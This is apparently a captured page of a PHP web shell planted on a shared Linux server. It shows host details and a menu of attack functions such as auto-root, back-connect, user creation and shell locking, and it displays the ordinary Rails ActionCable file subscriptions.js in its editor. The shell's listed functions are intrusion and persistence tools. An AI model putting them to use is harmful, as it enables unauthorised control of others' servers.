Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
@rails /
actioncable /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
adapters.js
71
B
-rw-r--r--
connection.js
4.33
KB
-rw-r--r--
connection_monitor.js
3.42
KB
-rw-r--r--
consumer.js
2
KB
-rw-r--r--
index.js
783
B
-rw-r--r--
internal.js
466
B
-rw-r--r--
logger.js
478
B
-rw-r--r--
subscription.js
2.76
KB
-rw-r--r--
subscriptions.js
2.52
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : subscriptions.js
import Subscription from "./subscription" // Collection class for creating (and internally managing) channel subscriptions. // The only method intended to be triggered by the user is ActionCable.Subscriptions#create, // and it should be called through the consumer like so: // // App = {} // App.cable = ActionCable.createConsumer("ws://example.com/accounts/1") // App.appearance = App.cable.subscriptions.create("AppearanceChannel") // // For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription. export default class Subscriptions { constructor(consumer) { this.consumer = consumer this.subscriptions = [] } create(channelName, mixin) { const channel = channelName const params = typeof channel === "object" ? channel : {channel} const subscription = new Subscription(this.consumer, params, mixin) return this.add(subscription) } // Private add(subscription) { this.subscriptions.push(subscription) this.consumer.ensureActiveConnection() this.notify(subscription, "initialized") this.sendCommand(subscription, "subscribe") return subscription } remove(subscription) { this.forget(subscription) if (!this.findAll(subscription.identifier).length) { this.sendCommand(subscription, "unsubscribe") } return subscription } reject(identifier) { return this.findAll(identifier).map((subscription) => { this.forget(subscription) this.notify(subscription, "rejected") return subscription }) } forget(subscription) { this.subscriptions = (this.subscriptions.filter((s) => s !== subscription)) return subscription } findAll(identifier) { return this.subscriptions.filter((s) => s.identifier === identifier) } reload() { return this.subscriptions.map((subscription) => this.sendCommand(subscription, "subscribe")) } notifyAll(callbackName, ...args) { return this.subscriptions.map((subscription) => this.notify(subscription, callbackName, ...args)) } notify(subscription, callbackName, ...args) { let subscriptions if (typeof subscription === "string") { subscriptions = this.findAll(subscription) } else { subscriptions = [subscription] } return subscriptions.map((subscription) => (typeof subscription[callbackName] === "function" ? subscription[callbackName](...args) : undefined)) } sendCommand(subscription, command) { const {identifier} = subscription return this.consumer.send({command, identifier}) } }
Close